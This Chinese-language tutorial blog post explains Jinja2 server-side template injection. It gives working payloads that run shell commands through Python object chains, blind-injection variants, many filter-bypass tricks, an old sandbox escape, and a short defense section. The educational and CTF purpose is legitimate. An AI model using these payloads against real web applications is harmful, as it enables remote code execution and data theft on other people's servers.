SecMap - SSTI(jinja2)
SecMap 系列之 SSTI(jinja2)
SSTI(Server-Side Template Injection)服务端模板注入。
SSTI 其实和编程语言、框架、模板语言都没啥强绑定关系,只是不同编程语言或者模板语言有不同的注入姿势罢了。SSTI 由于涉及到的组件非常多,还和特定组件的利用方式(比如 SSTI + jinja2
和 SecMap - Flask
有很大关系),但是由于篇幅原因应该分开来写,所以我拆的细了一些,本文主要讲 jinja2 的 SSTI。后面还会有其他模板语言、框架的利用介绍,反正慢慢写橘友们慢慢看吧。
注:本文基本上都是 py3.x 的环境。
介绍
既然所谓模板注入,我们就先要了解一下这个“模板”是怎么来的。这与所谓的 MVC(即 Model、View、Controller)息息相关,MVC 要实现的目标是将软件用户界面和业务逻辑分离以使代码可扩展性、可复用性、可维护性、灵活性加强。其中 View 层是界面,Model 层是业务逻辑,Controller 层用来调度 View 层和 Model 层。不过如何正确认识与利用 MVC 指导设计,我们暂时按下不表。
上文所谓的“模板”,简单来说就是一个其中包涵占位变量表示动态的部分的文件,模板文件在经过动态赋值后,返回给用户,可以理解为渲染。那其实就是这里的 V
所经常使用的一种东西。例如在 Python 中,jinja2 是我最为常用的模板语言,基于 jinja2 的组件也有很多,例如 flask,同样是我非常非常喜欢的 Web 框架。
jinja2 语法
依旧推荐官方文档,见资料 1
作为一门模板语言,肯定有自己的一套语法规则。
基础语法
jinja2 的基础语法规则一共 3 种:
- 控制结构
{% %}
,也可以用来声明变量({% set c = "1" %}
) - 变量取值
{{ }}
,比如输入1+1
,2*2
,或者是字符串、调用对象的方法,都会渲染出执行的结果 - 注释
{# #}
- 其他:还有些奇奇怪怪的语法,随着版本更新可能会去掉,这部分如果需要就看文档慢慢找
对于这三种语法,看一个例子就懂了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14from jinja2 import Template
tp = Template('''{#
这是一个注释
#}
{% set c = [5, 6, 7, 8, 9] %}
{% for i in a+c %}
{% if i % 2 %} {{ i }} {% endif %}
{% endfor %}
''')
print(tp.render(a = [0, 1, 2, 3, 4]))
结果就是输出 1、3、5、7、9
另外,jinja2 还有特殊的语法:
- 过滤器
- 模板继承
过滤器
文档见资料 4
过滤器可以理解为是 jinja2 里面内置的函数和字符串处理函数,用于修饰变量。甚至支持参数 range(10)|join(', ')
;以及链式调用,只需要在变量后面使用管道符 |
分割,前一个过滤器的输出会作为后一个过滤器的输入,例如,{{ name|striptags|title }}
会移除 HTML Tags,并且进行 title-case 转化,这个过滤器翻译为 Python 的语法就是 title(striptags(name))
。
可以看出,过滤器极大丰富了模板的数据处理能力,同时也在后面攻击时发挥了很大的作用 :)
宏
jinja2 内置了很多函数,嗯,非常不错,但是我还是觉得不够,怎么办呢?可以自己编写一个函数,然后在模板中调用,这就是宏(macro
)的作用 — 自定义函数:
1
2
3
4
5
6{% macro hack(name="Macr0phag3") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}
<p> {{ hack('Tr0y') }} </p>
<p> {{ hack() }} </p>
macro 后面跟函数名与参数,调用方法也很 Pythonic。
模板继承
文档见资料 5
模板继承允许我们创建一个骨架文件,其他文件从该骨架文件继承。并且还支持针对自己需要的地方进行修改。
jinja2 的骨架文件中,利用 block
关键字表示其包涵的内容可以进行修改。这里直接举例吧:
这个是骨架文件:base.html
1 |
|
bbb.html 继承 base.html 的模板:
1
2
3
4
5
6
7
8
9
10
11
12{% extends "base.html" %} <!-- 继承 -->
{% block title %} Tr0y's Blog {% endblock %} <!-- title 自定义 -->
{% block head %}
{{ super() }} <!-- 用于获取原有的信息 -->
<style type='text/css'>
.important { color: #FFFFFF }
</style>
{% endblock %}
<!-- 其他不修改的原封不动的继承 -->
渲染:
1
2
3
4from jinja2 import FileSystemLoader, Environment
env = Environment(loader=FileSystemLoader("./"))
print(env.get_template("bbb.html").render())
这里用到了 FileSystemLoader
,其实用它的逻辑很简单。我们在 bbb.html 中写了 {% extends "base.html" %}
,那 jinja2 怎么知道 base.html 在哪呢?FileSystemLoader
就是用来指定模板文件位置的。同样用途的还有 PackageLoader
,它是用来指定搜索哪个 Python 包下的模板文件,以及其他,见资料 6
杂项
去除空格
jinja2 中如果不加换行的话,可读性很差,如果加了的话,渲染后又会有多余的空格。我们可以在标签的前后加上 -
,这样就不会有空格了:
1
2
3
4
5
6{% macro hack(name="Macr0phag3") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}
<p> {{- hack('Tr0y') -}} </p>
<p> {{- hack() -}} </p>
SSTI in jinja2
攻击思路
由于模板语法对 Python 语句是有一定程度支持的,所以利用 {% %}
就可以非常轻松地进行攻击,例如:
1
2
3
4
5
6
7print(
Template('''
{% for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close" %}
{{ i.__init__.__globals__['system']('whoami') }}
{% endfor %}
''').render()
)
或者知道 index 的话,直接打:
1
2
3
4
5print(
Template(
''' {{ ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami") }}'''
).render()
)
这一部分与资料 2 的原理是一样的,这里就不啰嗦了。
有一点需要注意的是,由于这里并不是完全支持 Python 所有的语法,所以很多语法是无法使用的,比如列表推导,如果熟练掌握了 Python 沙箱逃逸的原理,那么你可能会这么写 exp:
1 |
|
可惜这是不行的:TemplateSyntaxError: expected token ',', got 'for'
,jinja2 并不支持在 {{ }}
里玩 if
+推导式。
所以熟练掌握 jinja2 中可以使用的函数、过滤器、语法规则,对于攻击来说是很重要的。这部分推荐去看官方文档(见资料 4):
以及比如对于 for 循环来说,还有特殊的方法可供在循环块内部使用(见资料 7)
反正不管怎么样,攻击思路受限的时候,官方文档一定是寻找新姿势的最佳途径。
顺便说一下,jinja2 更新之后可能会引入新的过滤器、函数,例如 3.0.2
就没有 items
过滤器,到了 3.1.0
就有了。
更新日志见资料 8
bypass 思路
bypass 字符、数字的通用姿势
最简单的 bypass,按照资料 2 中的思路([ ]
扣字符拼接、chr
等等)即可(这里面有的姿势我就不列举了,如果不记得的话强烈建议复习一遍)。
其实扣字符可以做的非常细,以至于理论上我们可以扣出所有的字符或者数字(其实还是资料 2 中的思路,姿势很多,以下只举例):
- 数字 0:
{{ {}|int }}
、{{ {}|length }}
- 数字 1:
{{ ({}|int)**({}|int) }}
- 理论上有了 1 之后就可以搞出所有其他数字,可以用
+
或者是-
+|abs
- 空格:
{{ {}|center|last }}
、{1:1}|xmlattr|first
<
:{}|select|string|first
>
:{}|select|string|last
- 点:
{{ self|float|string|min }}
或者c.__lt__|string|truncate(3)|first
a-z
:{{ range.__doc__ + dict.__doc__}}
A-Z
:{{ (range.__doc__ + dict.__doc__) | upper }}
上面这种都比较常规,思路还是扣字符的思路,顶多是过滤器做了变化。
这里多说一下利用格式化字符串实现的任意字符构造(例如字符 d
):
- 首先搞出
%c
:{{ {}|string|urlencode|first~(self|string)[16] }}
- 然后搞出
d
:{{ ({}|string|urlencode|first~(self|string)[16]) % 100 }}
还不需要引号。
间接获取内置函数
正如上文说的,jinja2 仅仅支持部分 Python 内置函数,例如 chr
就无法直接使用。
好在我们可以利用资料 2 的手段,获取那些被隐藏的函数,例如 chr
,我们可这样:
1
2
3{{
().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"]
}}
如果你觉得每次调用都需要这样写,太麻烦了,payload 也冗余,那么结合 {% set ... %}
就可以这么玩:
1
2
3{% set chr = ().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"]%}
{{ chr(97)+chr(98) }}
那结合宏就可以这么玩:
1
2
3
4
5{%- macro chr(i) -%}
().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"](i)
{%- endmacro -%}
{{ chr(97)+chr(98) }}
当然啦,由于 jinja2 中有自己的一些内置变量等,所以会有一些资料 2 之外的姿势。例如利用 Undefined
实例可以直接拿到 __globals__
:
所以就可以有:
x.__init__.__globals__.__builtins__
x.__init__.__globals__.__builtins__.eval
x.__init__.__globals__.__builtins__.exec
x.__init__.__globals__.sys.modules.os
x.__init__.__globals__.__builtins__.__import__
- ...
通过查阅源码或者文档可知,默认命名空间自带这几种函数
或者用 self.__dict__._TemplateReference__context
也可以看到。
所以就有:
self.__init__.__globals__
lipsum.__globals__.os
cycler.__init__.__globals__.os
joiner.__init__.__globals__.os
namespace.__init__.__globals__.os
其实这些随便找个方法都可以搞到 __globals__
。那为啥其他的比如 range
就不可以呢?其实在资料 2 中也已经说过了。
过滤 .
按照资料 2 中的思路,如果过滤了 .
,我们很容易想到用 getattr
和 __getattribute__
:
{{ getattr(1, "__class__") }}
{{ 1.__getattribute__("__class__") }}
在 jinja2 中,由于 [key]
的特殊性(资料 3)
[key]
和 .
是基本上等价的,只是处理逻辑先后上有区别,.
是先按查找属性执行,再按照用键查字典的值去执行,[key]
则相反。并且还提到,如果想查找属性还可以用 attr
。
所以我们就可以这么玩:
{{ 1["__class__"] }}
{{ 1 | attr("__class__") }}
由于过滤器 map
也支持取属性,所以可以这样:
过滤 [ ]
分为两种情况:
- 如果是要取 index,除去资料 2 中的思路(
__getitem__
、pop
等等)之外,如果是字典,那么利用 bypass 过滤.
中的结论,可以用.
来代替[key]
:{{ {"a": 1}.a }}
- 如果是要构造一个列表,我们一般是给最外面加个
[]
就好了。在中括号被过滤的情况下,则可以使用slice
来替代。例如"1"|slice(1)|list
与[['1']]
是等价的。
过滤 {{ }}
这种情况下寻找其他语法就行了。比如 {% %}
。
{% macro %}
就不提了。
{% print(...) %}
:
1
{% print(''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami")) %}
还有 {% if %}
、{% set %}
、{% for %}
... 都是可以执行命令的,只是无回显。如果非要有回显,利用盲注的思想,可以走带外通道。怎么盲注?见资料 2,原理是一样的,这里就不啰嗦了。
比如时间盲注:
1
2
3
4
5{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr a 1)')|list %}{% endif %}
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr b 1)')|list %}{% endif %}
...
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr m 1)')|list %}{% endif %}
# 延时 1s 说明第一个字符是 m
当然这种语法本身也可以盲注,比如布尔盲注:
1
2
3
4{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "a" %}yes{% endif %}
...
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "m" %}yes{% endif %}
# 输出 yes 说明第一个字符是 m
甚至可以搞基于报错的盲注:
1
2
3
4{% for i in [1][(dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "a")] %}{% endfor %}
...
{% for i in [1][(dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "m")] %}{% endfor %}
# 不报错说明第一个字符是 m
因为对于 jinja2 来说,索引过大是返回 Undefined,不会报错。当然啦,如果把上面的 [1]
换成 [[1]]
就变成了布尔盲注。
限制过滤器或函数
姿势主要有三种:
- 有些过滤器是可以被替换的,比如
[]|string
等同于[]|format
。这种方式主要依赖于使用过滤器的目的,不太好列出统一的替换规则,所以我就不一一列举了。熟悉各种过滤器的作用是这种 bypass 的前提。 - 大部分过滤器可以转为
[]
嵌套 +map()
来使用。例如[]|string
等同于[[]]|map("str""ing")|list|last
。这种姿势相对来说通用,遗憾的是,无法带参数使用过滤器。 self.__dict__._TemplateReference__context
中包含了内置的全局函数,可以直接用。
过滤引号
除了用上面提到的常规姿势之外:
创建 dict
这个其实也在资料 2 中提及过。
例如 whoami
:
{{ dict(whoami=x)|join }}
{{ dict(who=x,ami=x)|join }}
{{ dict(whoami=x)|list|first }}
{{ dict(whoami=x)|items|list|first|first }}
- ...
艾玛,真香哎
如果遇到特殊字符,再用常规姿势就好了。
py3.9 新姿势
如果漏洞点无法支持 set
,那么挨个字符拼接的 payload 太长了,所以还需要寻找除了用 dict()
的新的优化方式。在 PEP 585(py3.9)中,我找到了新的姿势。
首先需要一个前置知识点:类型注解。如果你没用过 Python 类型注解,建议阅读资料 9
在 PEP 560(py3.7)中,官方新增了 __class_getitem__
方法,这个方法的功能是按照 key 参数指定的类型返回一个表示泛型类的特殊对象,这样可以支持运行时对泛型类进行参数化,让注解更容易使用:
在 PEP 585(py3.9)中(见资料 10)
进一步对类型注解做了升级,支持通过 __class_getitem__()
来参数化 typing 模块中所有标准的容器类型,这样我们可以将 list 或 dict 直接作为列表和字典的类型注释,而不必依赖 typing.List 或者 typing.Dict。因此,代码现在看起来更加简洁,而且更容易理解和解释。
Python 文档中反复提及“参数化泛型”这个词。PEP 585 也给出了定义:
1
parameterized generic – a specific instance of a generic with the expected types for container elements provided. Also known as a parameterized type. For example: dict[str, int].
最后,Python 中有个,GenericAlias
对象充当泛型类型的代理,实现参数化泛型。对于容器类,提供给该类的参数可指示对象包含的元素的类型。
可支持参数化泛型的类可参考资料 11
到这里,我们就可以发现,打印 list[int]
的结果是 list[int]
,它其实是一个 GenericAlias
:
那自然,这样也是 ok 的:list["whoami"]
,加上 jinja2 的 .
的特殊性,我们就用了一种船新的玩法。比如可以这样执行 whoami,不带有引号:
1
dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system((dict.whoami|string)[6:-2]|join)
不过由于语法的限制,这样是无法加上空格以及特殊字符(/
、.
、( )
等)的,所以没法直接带参数或者带一些特殊的字符执行。
所以为了实用一些,例如 cat th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g
,还是得用到其他获取字符的手段,比如 chr
:
1
2
3
4
5
6
7
8
9dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system(
(
[( dict.cat |string)[6:-2]|join] +
[( dict.th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g |string)[6:-2]|join]
)
| join(
dict.mro()[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr(32)
)
)
长度为 243。
或者是扣字符拼接:
1
2
3
4
5
6dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system(
(
[( dict.cat |string)[6:-2]|join] +
[( dict.th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g |string)[6:-2]|join]
)
| join((dict|string)[6]))
这个长度为 181。
利用相同的逻辑,我们可以找出其他 bypass 的姿势,其实都是利用了 __class_getitem__
,再想办法把结果变成 str 类型:
(dict.whoami|string)[6:-2]|join
(dict.whoami|title...
(dict.whoami|trim...
(dict.whoami|lower...
(dict.whoami|center...
(dict.whoami|format...
(dict.whoami|capitalize...
(dict.whoami|indent)[6:-2]|join
下面这些会用到引号,所以可能并不实用:
(dict.whoami|string).split("'").pop(-2)
(dict.whoami|replace("", "").pop(-2)
("00"|join(dict.whoami)).split("'").pop(-2)
(dict.whoami|urlize).split("'").pop(-2)
(dict.whoami|urlencode).split("%27").pop(-2)
上面这么多都是类似的逻辑。如果出现过滤器禁用的情况,可以互相做替换。
组合之前的一些技巧,还可以这样:
- 引号、
[ ]
被过滤:(dict.whoamiiii|string|slice(3)|list).pop(1)|join
(或者挨个 pop 完之后拼接起来,就是会比较长) - 引号、数字、
[ ]
被过滤:(dict.whoamiiii|string|slice(True+True+True)|list).pop(True)|join
下面这些可能都不实用,但是作为技巧看一下还是挺有启发的:
1
2
3
4
5
6
7
8# . 被过滤
([dict]|map(attribute='whoami')|list|string)[7:-3]
# 特定的过滤器被禁用
(([dict.whoamiiii|string]|list|map("sl"+"ice", 3)|list).pop(0)|list).pop(1)|join
# [] 被过滤 + 特定的过滤器被禁用
(((""|slice(1,fill_with=(dict.whoamiiii|string))|list).pop()|map("sl"+"ice", 3)|list).pop(0)|list).pop(1)|join
自然,这个技巧只有 > py3.9 才可以使用。
从上面可以看出,这个姿势要实用,很依赖 .
,如果这个被干掉了那就要换其他的姿势了。
利用 jinja2 + flask 组合 bypass
jinja2 最常见的搭档就是 flask 了。由于 flask 会引入新的变量,所以也会引入新的姿势。这一部分正如本文开头所述,jinja2 的 SSTI 与 Flask 关联紧密,这一部分我放在了 《SecMap - Flask》 中。
jinja2 沙盒绕过
实际上,jinja2 有自带的,独立于 Python 的沙盒环境。默认沙盒环境在解析模板时会检查所操作的属性,这种检查是运行时的检查,绕过是比较困难的。也就是说即使模板内容被用户所控制,也是无法绕过沙盒执行代码或者获取敏感信息的。
但在历史上,jinja2 < v2.8.1 由于没有考虑到 format 可触发字符串格式化漏洞,导致沙盒可以被绕过:
1
2
3
4from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
print(env.from_string("""{{ '{0.__class__.__base__}'.format([]) }}""").render())
在攻击之外
上面所述的思路,都是局限在 Template
中的,因为我们要思考攻击场景,没有攻击场景的 payload 用处是很有限的。
但是,如果我们在写一些自动化的脚本,用来扫描或者是搜索变量,难免也会用到一些内置函数(例如 dir
),通过上面这些思路利用 SSTI 去获取内置函数当然是可以的,但其实 render
本身是可以指定参数传递给模板使用的,所以不限于攻击,可以这样:
1
Template("{{ dir(self) }}").render(dir=dir)
另外再说一嘴,render
返回的固定是字符串,如果我们想获取变量示例,如果是个字符串或者列表之类的基本类型,那倒简单,直接 eval
下就好。如果是简单一些示例,可以考虑用 pickle 来玩。但是如果是一些非常规的实例,应该怎么拿到呢?例如 self
这个内置变量:
1
2
3In [20]: Template1("{{ pickle.dumps(self) }}").render(pickle=pickle)
...
TypeError: cannot pickle 'module' object
这个时候我们其实可以通过 __main__
来存储模板里的变量,这个办法应该是最完美的了:
1
2
3
4
5
6
7In [25]: Template(
...: "{{ setattr(__import__('__main__'), 'result', self) }}"
...: ).render(setattr=setattr, __import__=__import__)
Out[25]: 'None'
In [26]: result
Out[26]: <TemplateReference None>
防御
防御这种漏洞肯定不能用关键字过滤,Python 实在是太灵活了。
如果可以的话,还是不要让模板对用户可控了。
如果一定要有这种需求,还是得用 SandboxedEnvironment
:
1 |
|
对于未注册的属性访问都会抛出错误:SecurityError: access to attribute xxx of xxx object is unsafe.
,下面这些都是凉凉的:
[].__class__.__base__
[]["__class__"]["__base__"]
[]["__class__"]["__base__"]
dict.mro()
self.__dict__._TemplateReference__context
- ...
但是通过一些变量来拿敏感信息,还是有搞头的,例如 flask config 信息泄露。
资料
- jinja2 官方文档
https://jinja.palletsprojects.com/en/3.1.x/templates/#synopsis - Python 沙箱逃逸经验总结:
https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/ - jinja2 - getattr
https://jinja.palletsprojects.com/en/3.1.x/templates/?highlight=getattr#variable - jinja2 - builtin-filters
https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters - jinja2 - 模板继承
https://jinja.palletsprojects.com/en/3.1.x/templates/#template-inheritance - jinja2 - PackageLoader
https://jinja.palletsprojects.com/en/3.1.x/api/?highlight=packageloader#loaders - jinja2 - for
https://jinja.palletsprojects.com/en/3.1.x/templates/#for - jinja2 - changes
https://jinja.palletsprojects.com/en/3.1.x/changes/ - Python 类型注解
https://www.gairuo.com/p/python-type-annotations - pep-0585
https://peps.python.org/pep-0585/#implementation - standard generic classes
https://docs.python.org/zh-cn/3/library/stdtypes.html#standard-generic-classes
附
OrangeKiller CTF 第 1 期题解
jinjia2 se
1 |
|
jinjia2 plus
1 |
|
jinjia2 pro
1 |
|
jinjia2 pro max
1 |
|
这个 payload 应该还有优化的空间,留给橘友们研究吧~
当然,上面这几题用 1}} {{ payload }} {{1` 这样来闭合外层的 `{{ }}
,再用 {% set %}
之类的也是 ok 的。
SSTI 这个系列的知识点真是越整理越多
罢了,拖更就好了
开摆!